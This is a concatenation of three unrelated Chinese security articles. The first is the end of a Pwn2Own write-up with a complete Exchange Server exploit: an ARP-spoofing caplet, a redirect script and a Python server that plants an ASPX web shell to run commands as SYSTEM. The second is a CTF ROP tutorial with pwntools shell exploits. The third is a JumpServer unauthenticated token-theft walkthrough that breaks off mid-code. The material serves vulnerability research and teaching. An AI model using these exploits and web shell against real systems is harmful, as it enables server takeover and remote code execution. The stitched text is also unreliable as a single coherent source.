在[10]处`Microsoft.Exchange.CabUtility.dll`调用`Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles`，这是一个混合模式程序集，包含本地代码，使用导出的`ExtractCab`函数提取cab文件。不幸的是，该解析器在提取文件以验证文件是否包含目录遍历之前不注册回调函数。这允许我将任意文件写入任意位置。
### 利用
文件写入漏洞并不一定意味着远程执行代码，但在web应用程序的环境中，这种情况经常发生。我在Pwn2Own提出的攻击会写入C:/inetpub/wwwroot/aspnet_client目录，这允许我向shell发出http请求，以SYSTEM的身份执行任意代码，而不需要身份验证。
让我们回顾一下设置，以便我们能直观地看到攻击过程。
### 设置
第一步将要求您对目标系统执行ARP欺骗。在这个阶段，我选择使用[bettercap](https://www.bettercap.org/)，它允许您定义可以自动操作的caplets。我记得我上次有针对性的MiTM攻击是12年前的事了!这是我`poc.cap`文件，该文件设置了ARP欺骗和代理脚本，拦截和响应特定的http请求:
set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on
`poc.js`文件是我编写的代理脚本，用于拦截目标请求并将其重定向到位于<http://192.168.0.56:8000/poc.xml的攻击者宿主配置文件。>
function onLoad() {
log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
log_info("Found by Steven Seeley of Source Incite")
}
function onRequest(req, res) {
log_info("(+) triggering mitm");
var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
res.Status = 302;
res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
}
}
这个`poc.xml`清单文件包含承载恶意cab文件的`CabinetUrl`，以及更新的目标版本范围:
<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.2.1.1-15.2.999.9</Version>
<Revision>1</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>
我将manifest和`poc.cab`文件传递过程打包到一个小型python
http服务器poc.py中，该服务器也将尝试访问`poc.aspx`文件，并以SYSTEM的形式执行命令:
import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CabRequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("poc.xml"):
print("(+) delivering xml file...")
xml = """<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.2.1.1-15.2.999.9</Version>
<Revision>%s</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
elif self.path.endswith("poc.cab"):
print("(+) delivering cab file...")
# created like: makecab /d "CabinetName1=poc.cab" /f files.txt
# files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
# poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
p = base64.b64decode(stage_2.encode('utf-8'))
self.send_response(200)
self.send_header('Content-Type', 'application/x-cab')
self.send_header("Content-Length", len(p))
self.end_headers()
self.wfile.write(p)
return
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
sys.exit(-1)
t = sys.argv[1]
s = sys.argv[2]
port = 8000
r = sys.argv[3]
c = sys.argv[4]
print("(+) server bound to port %d" % port)
print("(+) targeting: %s using cmd: %s" % (t, c))
httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
p = { "c" : "/c %s" % c }
try:
while 1:
req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
if req.status_code == 200:
break
print("(+) executed %s as SYSTEM!" % c)
except KeyboardInterrupt:
pass
在每次攻击尝试中，修订号都需要增加，因为代码将把该值写入到注册表中，并在下载manifest文件后，将在继续下载和提取cab文件之前验证文件是否包含更高的修订号。
### 绕过Windows Defender
对于Pwn2Own，我们需要一个绕过 Defender的shell。在Orange Tsai泄露了他的代理登录漏洞的细节后，微软决定尝试检测asp.net
web
shell。所以我采用了与Orange不同的方法:编译一个自定义二进制文件，执行一个反向shell，并将其放到磁盘上，然后执行它来绕过Defender。
### 攻击样例
我们首先使用`poc.cap`caplet 文件运行 Bettercap ：
researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]
[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)
现在我们 ping 目标（更新目标缓存的 Arp 表）并运行`poc.py`并等待管理用户运行`Update-ExchangeHelp`或`Update-ExchangeHelp -Force`在 Exchange 管理控制台 (EMC) 中运行（如果在最近24小时内执行过`Update-ExchangeHelp`命令，则必须执行`-Force`命令）：
researcher@pluto:~/poc-exchange$ ./poc.py
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"
researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!
### 结论
这不是第一次[在 Pwn2Own 上使用 MiTM
攻击](https://www.zerodayinitiative.com/advisories/ZDI-20-705/)，很高兴找到一个与比赛中其他研究人员没有冲突的漏洞。这只能通过寻找新的媒介和/或表面来寻找
Exchange Server
中的漏洞才能实现。逻辑漏洞总是很有趣，因为它总是意味着能被利用，而这些相同的问题很难用传统的自动化工具发现。有人认为，所有网络漏洞实际上都是合乎逻辑的。即使是基于
Web 的注入漏洞，因为它们不需要操作内存，并且可以临时重复攻击。
此漏洞在 Exchange 服务器中的影响非常大，因为 EMC 通过 PS-Remoting 连接到配置为以 SYSTEM 身份运行的 IIS 服务。对于
SharePoint 命令行管理程序 (SMS) 直接影响的 SharePoint Server，情况并非如此，在用户运行 SMS 时实现代码执行。
Microsoft 将此问题修补为[CVE-2021-31209](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31209)，如果您尚未部署该补丁，我们建议您立即部署。
### 参考
* <https://www.zerodayinitiative.com/advisories/ZDI-21-615/>
* <https://www.zerodayinitiative.com/advisories/ZDI-21-826/> | 社区文章 |
# Mac PWN入门巩固篇（六）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 PWN入门系列文章列表
[Mac 环境下 PWN入门系列（一）](https://www.anquanke.com/post/id/187922)
[Mac 环境下 PWN入门系列（二）](https://www.anquanke.com/post/id/189960)
[Mac 环境下 PWN入门系列（三）](https://www.anquanke.com/post/id/193115)
[Mac 环境下 PWN入门系列 (四）](https://www.anquanke.com/post/id/196095)
[Mac 环境下 PWN入门系列 (五)](https://www.anquanke.com/post/id/196624)
## 0x1 前言
最近接触了一些PWN的题目，发现自己对于64位的程序没有一个成型的利用思路，故借此文章进行巩固一下，查缺补漏。
## 0x2 64位和32位区别
下面讨论的主要是应用程序的区别，至于CPU和操作系统自身的物理寻址能力和大小与本文 并没有很大关系。
可以简单了解下Window操作系统的物理内存寻址能力。
像我们平时家庭版win10等操作系统只能上128GB了，再上也没用，操作系统根本用不上。
Linux的规则与Home版是一样的，不过没测试过，可能支持很大？不过跟本文没太大关系，略。
回到我们的重点:
* 1.内存单元大小不一样这个要是学过计算机组成原理其实就有一个很直观的理解，64位=8bit,32位=4bit,这个大小代表的是字长的意思，内存单元都是字单元，所以说64位程序的内存单元是8个字节，32位的内存单元是4个字节，这个决定了我们的exp填充是+4还是+8。对齐的话就是根据内存单元大小来对齐的，对齐有利于提高寻址效率和方便操作(可以一次性读8的倍数次为单位进行快速寻址)
* 2.寄存器差异64位寄存器有16个: rax rbx rcx rdx rsi rdi rbp rsp r8 r9 10 r11 r12 r13 r14 r1532位寄存器有8个:eax ebx ecx edx esi edi ebp esp
* 3.内存空间范围不一样……
关于PWN利用的话，其实最大的差异是在于参数传递下。
32位程序的参数取值都是从栈上取，所以有时候我们不需要rop也能执行execve命令，通过在栈上写参数即可。
64位则使用寄存器，分别用rdi，rsi，rdx，rcx，r8，r9作为参数，当7个以上的时候，从第7个开始，后面依次从”右向左“放入栈中，rax作为返回值。
下面我们可以简单调试下:
先编译个简单的程序:
#include <stdio.h>
int test(int a, int b, int c)
{
printf("%d",a);
getchar();
printf("%d",b);
getchar();
printf("%d",c);
return 10;
}
int main()
{
int d = 1+test(1,2,3);
return 0;
}
编译:
`gcc -g hello.c -o hello`
首先
gdb hello
b main
r
可以看到这个参数,先从右边开始依次存入 edx esi edi(gdb反汇编显示的是e开头)实际上e其实是r的低32位
下面重新执行下看看RBP与RSP的变化过程有什么差异不，
没进函数前的栈结构:
没进函数前的栈结构:
rsp的栈上地址是:0x7ffe2120d140 —▸ 0x7ffe2120d230 ◂— 0x1
rbp的栈上地址是:0x7ffe2120d150 —▸ 0x5616fd7de720 (__libc_csu_init) ◂— push r15
进去函数开始开辟新的栈空间:
call的时候: push 下一条指令地址,然后转移到函数内执行。
push rbp; 用来保存调用现场信息
move rbp,rsp; 开辟新栈
可以看到继续向下执行的话,就开辟了栈大小为0x10的栈空间。
(rbp->rsp内存空间可以从左边的黄色很清晰看到是以8字节为单位来递减的)
经过这个操作之后,rbp+8 就是下一条指令的地址，rbp就是新的栈底(与32位没有什么很大的区别)
最后退出函数函数调用，恢复栈调用时候:
► 0x5616fd7de6e7 <test+93> mov eax, 0xa; eax保存了函数的返回结果
0x5616fd7de6ec <test+98> leave
0x5616fd7de6ed <test+99> ret
> leave: mov rsp,rbp; pop rbp
>
> retn: pop rip
 ◂— push r15
这里`int d = 1+test(1,2,3);`=>`add eax,1`其实就是用eax来存储返回信息。
简单总结下64位的函数调用过程:
1.call之前设置rdi rsi rdx的值作为参数
2.call执行后，push 下一条指令,跳转到函数内执行
3.通过push ebp;把当前主函数的栈底ebp存入到栈中用来保存状态，然后move esp,ebp;实现开辟新栈的过程。
4.通过leave(move esp,ebp; pop ebp)从而将ebp的值指向为原先的栈底地址，恢复现场，然后通过retn(pop
rip),转移出子函数，继续执行下一条指令，通过eax来取子函数的返回结果。
那么超过6个参数呢:
#include <stdio.h>
int test(int a, int b, int c, int d, int e, int f, int g)
{
printf("%d",a);
getchar();
printf("%d",b);
getchar();
printf("%d",c);
return 10;
}
int main()
{
int d = 1+test(1,2,3,4,5,6,7);
return 0;
}
同上,gdb跑起来,看下栈结构。
可以看到从第7个参数开始就存放在了栈上。
## 0x3 再析Linux地址空间
之前一个小伙伴问我逻辑地址，线性地址，物理地址是什么东东？
我当时理解的其实有点懵，因为Linux与Window是不一样的，这两者的差异导致了我们对逻辑地址和线性地址分不清楚。
这里我主要以Linux为例，分析一下Linux下应用程序的地址空间分布以及寻址流程。
一些前置知识:
> 大学课程里面的操作系统课程讲了 传统存储器管理方式->虚拟存储器管理方式的转变
>
>
> 主要原因还是为了实现内存的扩充，这句话的意思就是说,一个程序需要16g的内存来完全加载，因为自身很大，所以如果采取传统的存储器管理方式，需要一次性加载那么就需要16g内存，但是如果我们采取虚拟存储器管理方式，根据局部性原理，把这个程序拆解成多个页面比如将要执行的内容先调入内存执行，剩下部分放在硬盘上，这样我们就可能通过4g的内存去运行16g的程序，通过多次加载的方式。
>
> 那么虚拟存储器的地址到真正的存储器地址之间就会有个微妙的映射关系，从而达到多次加载多次复用真实的物理地址。
>
> 基于此就有了 逻辑地址、线性地址、物理地址的概念。
一般我们说的转换概念有很多种(因为有分段、分页、段页式管理方式):
逻辑地址: 我的理解是，出现在纯段式管理方式中的地址,通过[段编号:段偏移组成],转换方式是通过地址变换机构实现逻辑地址->物理地址。
线性地址:我的理解是，出现在纯的页式管理方式，因为涉及到页目录->页表->页内偏移的线性映射，故线性地址的组成[页目录索引:页表索引:页内偏移]，同样是通过地址变换机构线性地址->物理地址
物理地址: 内存真正的地址，一个大数组从0开始编号到结束,通过多路选择器的硬件来选中。
那么他们之间的关系呢？
主要是出现在段页式管理方式中(页内的程序采用段式管理方式):
逻辑地址->线性地址->物理地址
所以我们平时调试所能看到的地址其实都是逻辑地址，其余的地址CPU其实对我们做了屏蔽操作的。
机器指令中的地址比如`0x5578ae47568e <test+4> sub rsp,
0x20`这里`5578ae47568e`其实就是一个48位的逻辑地址
Linux操作系统为了兼容Intel处理器这种二次变换操作，耍了些小手段，其实在Linux中
逻辑地址与线性地址是完全一样的，虽然划分出了内核数据段段、用户数据段等不同段，但是他们的不同段的描述选择符的基地址都是0,所以0+逻辑地址=线性地址。
## 0x4 牛刀小试
### 0x4.1 控制rip
这里我自己写了个简单的程序来模拟下控制RIP流程:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test(){
return system("/bin/sh");
}
int main(){
char buf[5];
return read(0, buf,0x100);
}
编译:
`gcc -g -fno-stack-protector -no-pie vulnerable64.c -o vulnerable64`
查看程序的保护情况:
可以看到关闭了栈溢出保护及其堆栈不可执行nx和pie。
下面我们打开IDA来分析下:
存在栈溢出大小为0x13
存在后门函数:`0x0000000000400537`
我们直接编写`exp.py`
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
debug = True
# 设置调试环境
context(log_level = 'debug', arch = 'amd64', os = 'linux')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
if debug:
sh = process("./vulnerable64")
else:
link = ""
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
system_addr = 0x400537
retn = 0x400568
# payload = 'A'*0xD + p64(system_addr) 这个payload会出错
payload = 'A'*0xD + p64(0x400568) + p64(system_addr)
pause()
gdb.attach(sh, 'b *0x400549')
sh.send(payload)
# sh.send("whoami")
sh.interactive()
这个在ubuntu上运行会出错,因为栈溢出破坏了栈结构，没有进行16字节对齐，具体原因可以看一下[关于libc-2.27中system函数的一个坑](http://homura.cc/blog/archives/168)
> <do_system+1094> movaps [rsp+198h+var_158], xmm**
>
> 要求这个值:[rsp+198h+var_158] 必须是对齐16字节的，也就是能被0x10整除的，要不然就会中断退出,
这个时候我们可以加一个跳板`retn`,来对齐16字节。
### 0x4.2 控制参数
这里我选取了一道比较简单的题目，需要一些gadget来控制rdi，从而实现执行system的题目
题目链接:<https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e>
开始我们的套路三部曲:
1.查保护
只是开了个堆栈不可执行的NX，64位程序。
2.ida
这就很贴心了,system也有了,还有个漏洞函数，果断跟进看看
很明显栈空间大小为0x80,能输入0x200个字节，很明显一个栈溢出可以控制rip了。
这里没有明显的`system("/bin/sh")`后门函数，但是这里使用system
我们只要找一个`/bin/sh`字符串作为他的参数就可以
`shift+F12`
很简单就能找到了这个字符串,这个字符串必须在system调用之前，写入到rdi寄存器，这样才能作为system的参数，所以我们需要找一个链条`POP
rdi;ret`之类的链接，把栈顶的`bin/sh`地址写入到rdi中,然后继续跳转到`system`函数执行。
`ROPgadget --binary vuln2 --only 'pop|ret' | grep 'rdi'`
下面我们编写下相对应的EXP即可:
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
debug = True
# 设置调试环境
context(log_level = 'debug', arch = 'amd64', os = 'linux')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
if debug:
sh = process("./vuln2")
elf = ELF("./vuln2")
else:
link = ""
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
binsh = elf.search("/bin/sh").next()
system_addr = elf.symbols["system"]
pop_rdi = 0x4006b3 # ROPgadget找的
retn = 0x400644 # ida随便找的一条retn
print("binsh:" + hex(binsh))
print("system_addr:" + hex(system_addr))
print("pop_rdi:" + hex(pop_rdi))
paylaod = 'A'*0x80+ 'B'*0x8 + p64(pop_rdi)+p64(binsh) + p64(retn) +p64(system_addr)
pause()
gdb.attach(sh, "b *0x400634")
sh.sendlineafter("Input:n", paylaod)
sh.interactive()
这里同样需要注意16字节对齐的问题,不同的libc版本会有这些坑，自己多试试。
## 0x5 真题演练
下面我们先以一个经典的ROP题目来演示下各种完整利用的姿势。
这里笔者从buuoj中选了一个比较基础的题目:bjdctf_2020_babyrop
**1.查checksec**
没开栈保护，没开pie，基本是栈溢出了,64位程序
**2.ida**
很明显可以看到`vuln`函数中read读取可以造成栈溢出，根据提示好像是要找泄露libc地址？
我们先看看有没有什么后门函数`SYSTEM`之类的，看一下字符串。。。
emmm，都没有的，所以说这个环境只有一个栈溢出的点。。。。
**3.分析解题思路**
这个题目有puts,我们可以通过栈溢出得`libc_start_main`的地址,用LibcSearcher来获取libc的版本，这个我本地的话也可以查看，然后减去偏移得到libc的基地址，然后再次触发漏洞函数,
重复栈溢出rop到system(“/bin/sh”)
1.首先需要找到溢出长度,ida里面可以很简单看出来是0x28,但是ida有时候会有问题,这里介绍下一些Fuzz的技巧。
按道理来说:
1.cyclic 100 | ./bjdctf_2020_babyrop
2.dmesg | tail -1
3.cyclic -l 61616168 ip的值就可以的。 segfault at 61616168
不过我测试的时候并没有显示这个，只有`general protection`
其实手工调试也ok
因为ret(pop rip),所以我们其实很好确定,我们选开头的4个字节作为subpattern
cyclic -l kaaa
40
这样子很简单就得到了栈溢出的大小为40
2.泄露`libc_start_main`的地址
思路其实很简单就是通过控制栈溢出执行puts函数,然后控制rdi为`libc_start_main`的got表地址,然后就输出啦
0x0000000000400733 : pop rdi ; retroot@mpwn:/ctf/work/test# ROPgadget --binary bjdctf_2020_babyrop --only "pop|ret" | grep "rdi"
0x0000000000400733 : pop rdi ; ret
pop_rdi_addr = 0x400733
put_addr = elf.symbols["puts"]
libc_got_addr = elf.got["__libc_start_main"]
return_pop = 0x400530
payload = 'A'*40
payload += p64(pop_rdi_addr)+p64(libc_got_addr)+p64(put_addr)+p64(return_pop)
sh.recvuntil('story!n')
sh.sendline(payload)
libc_main_addr = u64(sh.recvn(6).ljust(8, 'x00'))
3.获得lib基地址之后,我们找到`system、bin/sh`偏移构造ROP
obj = LibcSearcher("__libc_start_main", sh)
libc_base = libc_main_addr - obj.dump("__libc_start_main")
system_addr = libc_base + obj.dump("system")
binsh_addr = libc_base + obj.dump("str_bin_sh")
这里我们是根据泄露的一些函数地址通过LibcSearcher找到libc的版本。
如果只是实现在本地打的话的,我们可以通过很多方式去查看当前程序使用的libc
最简单就是通过`ldd`获取到加载的so路径
root@--name:/ctf/work/test# ldd bjdctf_2020_babyrop
linux-vdso.so.1 (0x00007ffc57518000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f599a38e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f599a77f000)
可以看到指向的是`libc-2.27`版本的so文件,有了这个我们也可以直接获取到里面`__libc_start_main`函数的偏移,从而求出基地址。
我这里测试Libc的后两个字节可以看到是b0,但是LibcSearcher并没有找到。
root@--name:/ctf/work/test# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "__libc_start"
2203: 0000000000021ab0 446 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
这个查询网站我感觉非常不错,[libc database
search](https://libc.blukat.me/?q=__libc_start_main%3Aab0),是可以查到的，可能由于libcSearch的库太老了，缺乏。
这里我们手动加上去吧,
`./add /lib/x86_64-linux-gnu/libc-2.27.so`
root@--name:/ctf/work/test/LibcSearcher/libc-database# ./find __libc_start_main ab0
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)
/lib/x86_64-linux-gnu/libc-2.27.so (id local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb)
这样我们再跑一次
4.完整EXP
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
import time
debug = True
context(log_level="debug", arch="amd64", os="linux")
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
if debug:
sh = process("./bjdctf_2020_babyrop")
# gdb.attach(sh, "b *0x4006C0")
# sleep(1)
elf = ELF("bjdctf_2020_babyrop")
else:
link = ""
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
pop_rdi_addr = 0x400733
put_addr = elf.symbols["puts"]
libc_got_addr = elf.got["__libc_start_main"]
return_pop = 0x400530
payload = 'A'*40
payload += p64(pop_rdi_addr)+p64(libc_got_addr)+p64(put_addr)+p64(return_pop)
sh.recvuntil('story!n')
sh.sendline(payload)
libc_main_addr = u64(sh.recvn(6).ljust(8, 'x00'))
print("libc_addr => {}".format(hex(libc_main_addr)))
obj = LibcSearcher("__libc_start_main", libc_main_addr)
libc_base = libc_main_addr - obj.dump("__libc_start_main")
system_addr = libc_base + obj.dump("system")
binsh_addr = libc_base + obj.dump("str_bin_sh")
print("libc_base => {}".format(hex(libc_base)))
print("system_addr => {}".format(hex(system_addr)))
print("binsh_addr => {}".format(hex(binsh_addr)))
payload = 'A'*40 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(0x400591) +p64(system_addr)
sh.recvuntil('story!n')
sh.sendline(payload)
sh.interactive()
这里需要注意两个点:
1.记得使用p64(0x400591) `对齐16字节
2.`libc_main_addr = u64(sh.recvn(6).ljust(8, 'x00'))`
这个长度的判断主要是根据libc一般开头都`7f`,一开始我写的是`sh.recvn(8)`但是发现7f结束之后也才有6字节，所以做了下修改变成了`u64(sh.recvn(6).ljust(8,'x00'))`
## 0x6 总结
后面我会学习dynELF这种无libc获取函数地址的思路,然后拓展学习下多参数控制之万能gadget的原理，现在目前看了几道有意思的题目,如果有时间的话，估计会下一篇文章中写写(wo
tcl, heap study was delayed…. )
## 0x7 参考链接
[32位和64位在pwn中的不同点](//tearorca.github.io/32%E4%BD%8D%E5%92%8C64%E4%BD%8D%E5%9C%A8pwn%E4%B8%AD%E7%9A%84%E4%B8%8D%E5%90%8C%E7%82%B9/))
[linux进程地址空间布局浅析](https://segmentfault.com/a/1190000011634766)
[Linux下逻辑地址、线性地址、物理地址详细总结](https://www.cnblogs.com/alantu2018/p/9002441.html)
[intel处理器段页式内存管理](https://blog.csdn.net/weixin_34235135/article/details/91942126)
[ROP题目练习](//www.chumen77.xyz/2020/02/03/ROP%E7%BB%83%E4%B9%A0/#HarekazeCTF2019-baby-rop))
[借助DynELF实现无libc的漏洞利用小结](https://www.anquanke.com/post/id/85129) | 社区文章 |
一、环境搭建
首先。安装
安装脚本V2.6.1 <https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip>
github 安装脚本全部是安装最新版的。
安装的时候注意几个坑。
这里全部选择no
然后安装完成之后启动它 到安装目录：/opt/jumpserver-installer-v2.6.1/
访问jumpServer
默认账号是admin admin 进入之后修改密码
然后进入添加一台主机
然后进入web终端
选择你之前添加的主机进行登陆
二、获取token
首先是找到那个修改bug 的点
<https://github.com/jumpserver/jumpserver/commits/master>
然后对比一下代码。
<https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py>
之前的代码是没有认证的。那么先找到这个路由 。
源代码如下：<https://www.o2oxy.cn/wp-content/uploads/2021/01/aa.zip>
一：找到路由的使用方式
全局搜索CeleryLogWebsocket 这个函数。然后得到如下的websocket 的路由
尝试连接此路由 未授权连结websocket 可以连接成功。
看看这个函数具体的处理过程
import time
import os
import threading
import json
from common.utils import get_logger
from .celery.utils import get_celery_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer
logger = get_logger(__name__)
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected = False
def connect(self):
self.accept()
def wait_util_log_path_exist(self, task_id):
log_path = get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
def disconnect(self, close_code):
self.disconnected = True
self.close()
这里是只能获取log 后缀的一个文件。
然后就通过传递task 参数传递一个文件名就可以获取到log文件的内容如下：
再查看jumpserver.log 中 存在system_user user 和asset的信息。这些信息。
{'user': '4320ce47-e0e0-4b86-adb1-675ca611ea0c', 'username': 'test2', 'asset': 'ccb9c6d7-6221-445e-9fcc-b30c95162825', 'hostname': '192.168.1.73', 'system_user': '79655e4e-1741-46af-a793-fff394540a52'}
正好是apps/authentication/api/auth.py 认证系统所需要的值。
代码如下：
# -*- coding: utf-8 -*- #
import uuid
from django.core.cache import cache
from django.shortcuts import get_object_or_404
from rest_framework.permissions import AllowAny
from rest_framework.response import Response
from rest_framework.views import APIView
from common.utils import get_logger
from common.permissions import IsOrgAdminOrAppUser
from orgs.mixins.api import RootOrgViewMixin
from users.models import User
from assets.models import Asset, SystemUser
logger = get_logger(__name__)
__all__ = [
'UserConnectionTokenApi',
]
class UserConnectionTokenApi(RootOrgViewMixin, APIView):
permission_classes = (IsOrgAdminOrAppUser,)
def post(self, request):
user_id = request.data.get('user', '')
asset_id = request.data.get('asset', '')
system_user_id = request.data.get('system_user', '')
token = str(uuid.uuid4())
user = get_object_or_404(User, id=user_id)
asset = get_object_or_404(Asset, id=asset_id)
system_user = get_object_or_404(SystemUser, id=system_user_id)
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
cache.set(token, value, timeout=20)
return Response({"token": token}, status=201)
def get(self, request):
token = request.query_params.get('token')
user_only = request.query_params.get('user-only', None)
value = cache.get(token, None)
if not value:
return Response('', status=404)
if not user_only:
return Response(value)
else:
return Response({'user': value['user']})
def get_permissions(self):
if self.request.query_params.get('user-only', None):
self.permission_classes = (AllowAny,)
return super().get_permissions()
首先找到这个函数的路由
找到users 路由中的一条路由。
拼接一下整体的路由如下：
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
那么先查看一下他的代码逻辑
GET 需要user-only 参数
post 需要三个参数：user asset system_user
然后返回一个20S 的一个token
def post(self, request):
user_id = request.data.get('user', '')
asset_id = request.data.get('asset', '')
system_user_id = request.data.get('system_user', '')
token = str(uuid.uuid4())
user = get_object_or_404(User, id=user_id)
asset = get_object_or_404(Asset, id=asset_id)
system_user = get_object_or_404(SystemUser, id=system_user_id)
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
cache.set(token, value, timeout=20)
return Response({"token": token}, status=201)
写了一个获取token脚本如下： 这三个值是从log 中获取的
import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
url_host='http://192.168.1.73:8080'
def get_token():
url = url_host+'/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
print(response)
return response['token']
get_token()
20S 真男人。
三、代码执行。
一直翻看core 的代码。始终找不到web 终端的代码。有点迷。最后还是靠着360安全忍者师傅的代码弄清楚了真相。
感谢郁离歌师傅。感谢360安全忍者师傅
web 终端的代码执行是通过中间件的形式转发给后端koko 的。所以一直找不到koko 的代码在哪里
后端代码如下：
<https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go>
跟踪一下processTokenWebsocket 函数
func (s *server) processTokenWebsocket(ctx *gin.Context) {
tokenId, _ := ctx.GetQuery("target_id")
tokenUser := service.GetTokenAsset(tokenId)
if tokenUser.UserID == "" {
